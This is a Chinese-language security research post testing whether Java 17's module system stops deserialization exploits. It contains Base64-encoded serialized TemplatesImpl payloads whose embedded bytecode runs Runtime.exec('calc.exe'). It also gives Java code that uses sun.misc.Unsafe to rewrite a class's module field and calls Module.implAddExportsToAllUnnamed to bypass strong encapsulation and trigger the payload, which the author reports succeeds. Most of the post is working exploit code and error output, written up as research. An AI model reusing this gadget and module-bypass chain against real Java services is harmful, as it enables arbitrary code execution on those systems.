关于Java17下面的反序列化问题

前言

好奇，模块化会不会影响对象的反序列化。

测试代码

同样是用TemplatesImpl类做测试，由于Java17环境下不能跨模块实例化构造序列化数据，所以先在Java8环境下生成好序列化数据，然后在Java17环境下进行反序列化：

byte[] bytes = Base64.getDecoder().decode("rO0ABXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAmPK/rq+AAAANAAjCgADAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAG0xvcmcvZXhhbXBsZS9UZXN0SmF2YXNzaXN0OwEAClNvdXJjZUZpbGUBABJUZXN0SmF2YXNzaXN0LmphdmEMAAUABgEAGW9yZy9leGFtcGxlL1Rlc3RKYXZhc3Npc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwATAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFQAWCgAUABcBAAhjYWxjLmV4ZQgAGQEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABsAHAoAFAAdAQANU3RhY2tNYXBUYWJsZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACAKACEADgAhAAIAIQABAAQAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3ACKxAAAAAgAIAAAABgABAAAABQAJAAAADAABAAAABQAKAAsAAAAIABIABgABAAcAAAAkAAMAAgAAAA+nAAMBTLgAGBIatgAeV7EAAAABAB8AAAADAAEDAAEADAAAAAIADXB0AANQd25wdwEAeA==");
try {
    ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
    ObjectInputStream ois = new ObjectInputStream(bis);
    Object obj = ois.readObject();
    System.out.println(obj.getClass().getName());
}catch (Exception e) {
    e.printStackTrace();
}

输出结果：

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

说明虽然Java对跨模块生成对象进行了限制，但是貌似这种限制只体现在newInstance等显式构造代码中，而反序列化中隐含的对象生成途径没有进行限制。

简单试下反射调用函数进行类加载：

ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
Object obj = ois.readObject();
System.out.println(obj.getClass().getName());
Method method = obj.getClass().getDeclaredMethod("getOutputProperties");
System.out.println(method.getName());
method.invoke(obj);

报错，看来除了不仅是实例化时候的构造函数调用，跨模块反射调用普通的函数也会被拦截。

但是我们已经获得了一个TemplatesImpl实例，可以尝试通过Unsafe改写Module进行绕过，但是直接套用原代码时遇到了问题，TemplatesImpl类中不存在名为module的属性。

为了解决这个问题，先研究一下跨模块反射的拦截点，调试找到Reflection类的verifyModuleAccess函数，发现TemplatesImpl中确实存在为java.xml的module，那么问题应该出在getDeclaredField上面，由于module定义在Class中，而TemplatesImpl.class中只保存了TemplatesImpl相关的属性信息，没有module所以无法获取。

再回头看看源代码：

unSafeClass.getAndSetObject(currentClass, addr, baseModule);

将待运行代码所属的module改为了baseModule，baseModule即java.base的module，而报错为：

class org.example.Main (in module java.base) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml)

说明问题只是baseModule与TemplatesImpl所属的java.xml这个module不符合，因此解决方法很简单，只需要把baseModule换成TemplatesImpl的所属module就行了：

byte[] bytes = Base64.getDecoder().decode("rO0ABXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAmPK/rq+AAAANAAjCgADAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAG0xvcmcvZXhhbXBsZS9UZXN0SmF2YXNzaXN0OwEAClNvdXJjZUZpbGUBABJUZXN0SmF2YXNzaXN0LmphdmEMAAUABgEAGW9yZy9leGFtcGxlL1Rlc3RKYXZhc3Npc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwATAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFQAWCgAUABcBAAhjYWxjLmV4ZQgAGQEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABsAHAoAFAAdAQANU3RhY2tNYXBUYWJsZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACAKACEADgAhAAIAIQABAAQAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3ACKxAAAAAgAIAAAABgABAAAABQAJAAAADAABAAAABQAKAAsAAAAIABIABgABAAcAAAAkAAMAAgAAAA+nAAMBTLgAGBIatgAeV7EAAAABAB8AAAADAAEDAAEADAAAAAIADXB0AANQd25wdwEAeA==");
try {
    ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
    ObjectInputStream ois = new ObjectInputStream(bis);
    Object obj = ois.readObject();
    System.out.println(obj.getClass().getName());
    Method method = obj.getClass().getDeclaredMethod("getOutputProperties");
    System.out.println(method.getName());

    Class<?> unSafe=Class.forName("sun.misc.Unsafe");
    Field unSafeField=unSafe.getDeclaredField("theUnsafe");
    unSafeField.setAccessible(true);
    Unsafe unSafeClass = (Unsafe) unSafeField.get(null);
    Class<?> currentClass= Main.class;
    long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
    unSafeClass.getAndSetObject(currentClass, addr, obj.getClass().getModule());

    method.invoke(obj);
}catch (Exception e) {
    e.printStackTrace();
}

但是计算器没有弹出，再调试一下TemplatesImpl类，报错：

superclass access check failed: class org.example.TestJavassist (in unnamed module @0x2437c6dc) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x2437c6dc

说明Java17的序列化方式也发生了变化，添加了module相关的序列化数据，又或者只是单纯从package里面获取所属module，简单尝试一下，排除第二个可能，想要解决这个问题只能先了解一下Java17的类字节码数据了。

首先给自己的项目定义一个module，在源码根目录下新建一个module-info.java：

module java17.unserialization {
    requires jdk.unsupported;
}

简单定义一个对象用于观察，结果发现字节码数据中没有module的相关信息，在Google上搜索一下，也没有找到什么有用的方法。

转换一下思路，如果无法从字节码中定义module，那我们还可以考虑修改TemplatesImpl的module，想办法让他接受unnamed module，而Module类属于java.lang包下，所以我们还有机会对其进行修改。

简单看一下Module源码，发现其中存在一个ALL_UNNAMED_MODULE属性，或许可以用来将java.xml配置为向所有unnamed module开放，继续阅读源码寻找合适的方法调用，找到implAddExportsToAllUnnamed方法：

void implAddExportsToAllUnnamed(String pn) {
    implAddExportsOrOpens(pn, Module.ALL_UNNAMED_MODULE, false, true);
}

其方法描述为：

Updates this module to export a package to all unnamed modules.
API Note:
Used by the --add-exports command line option.

该命令的含义为：

--add-exports <source-module>/<package>=<target-module-list>

用于将该module导出到其他module中，看起来能让unnamed module访问java.xml，应该可以成事：

Module module = obj.getClass().getModule();
System.out.println(module.getName());
Method addReadsAllUnnamed = module.getClass().getDeclaredMethod("implAddExportsToAllUnnamed", String.class);
addReadsAllUnnamed.setAccessible(true);
addReadsAllUnnamed.invoke(module);
System.out.println("Maybe ok.");

试一下，发现报错：

Unable to make void java.lang.Module.implAddExportsToAllUnnamed(java.lang.String) accessible: module java.base does not "opens java.lang" to unnamed module @69d0a921

看来需要跟访问ClassLoader一样先修改一下main函数的所属module，最后的完成版本：

byte[] bytes = Base64.getDecoder().decode("rO0ABXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAAnTK/rq+AAAANAAhCgADAA0HAA4HAA8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANkxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9UZXN0OwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAQABQEANGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL1Rlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAEQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABMAFAoAEgAVAQAIY2FsYy5leGUIABcBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAZABoKABIAGwEADVN0YWNrTWFwVGFibGUBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAeCgAfAA0AIQACAB8AAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAILEAAAACAAcAAAAGAAEAAAADAAgAAAAMAAEAAAAFAAkACgAAAAgAEAAFAAEABgAAACQAAwACAAAAD6cAAwFMuAAWEhi2ABxXsQAAAAEAHQAAAAMAAQMAAQALAAAAAgAMcHQAA1B3bnB3AQB4");
try {
    // 从字节码中反序列化获得一个TemplatesImpl对象
    ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
    ObjectInputStream ois = new ObjectInputStream(bis);
    Object obj = ois.readObject();
    System.out.println(obj.getClass().getName());
    Method method = obj.getClass().getDeclaredMethod("getOutputProperties");
    System.out.println(method.getName());

    Class<?> unSafe=Class.forName("sun.misc.Unsafe");
    Field unSafeField = unSafe.getDeclaredField("theUnsafe");
    unSafeField.setAccessible(true);
    Unsafe unSafeClass = (Unsafe)unSafeField.get(null);
    Class<?> currentClass = Main.class;
    long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));

    // 调整module贴合java.lang，调用Module.implAddExportsToAllUnnamed函数
    Module baseModule = Object.class.getModule();
    unSafeClass.getAndSetObject(currentClass, addr, baseModule);
    Module module = obj.getClass().getModule();
    System.out.println(module.getName());
    Method addReadsAllUnnamed = module.getClass().getDeclaredMethod("implAddExportsToAllUnnamed", String.class);
    addReadsAllUnnamed.setAccessible(true);
    addReadsAllUnnamed.invoke(module, "com.sun.org.apache.xalan.internal.xsltc.runtime");
    System.out.println("Maybe ok.");

    // 调整module贴合java.xml，调用Module.getOutputProperties函数
    unSafeClass.getAndSetObject(currentClass, addr, obj.getClass().getModule());
    method.invoke(obj);
}catch (Exception e) {
    e.printStackTrace();
}

计算器正常弹出，尝试成功了。

Java 反序列化

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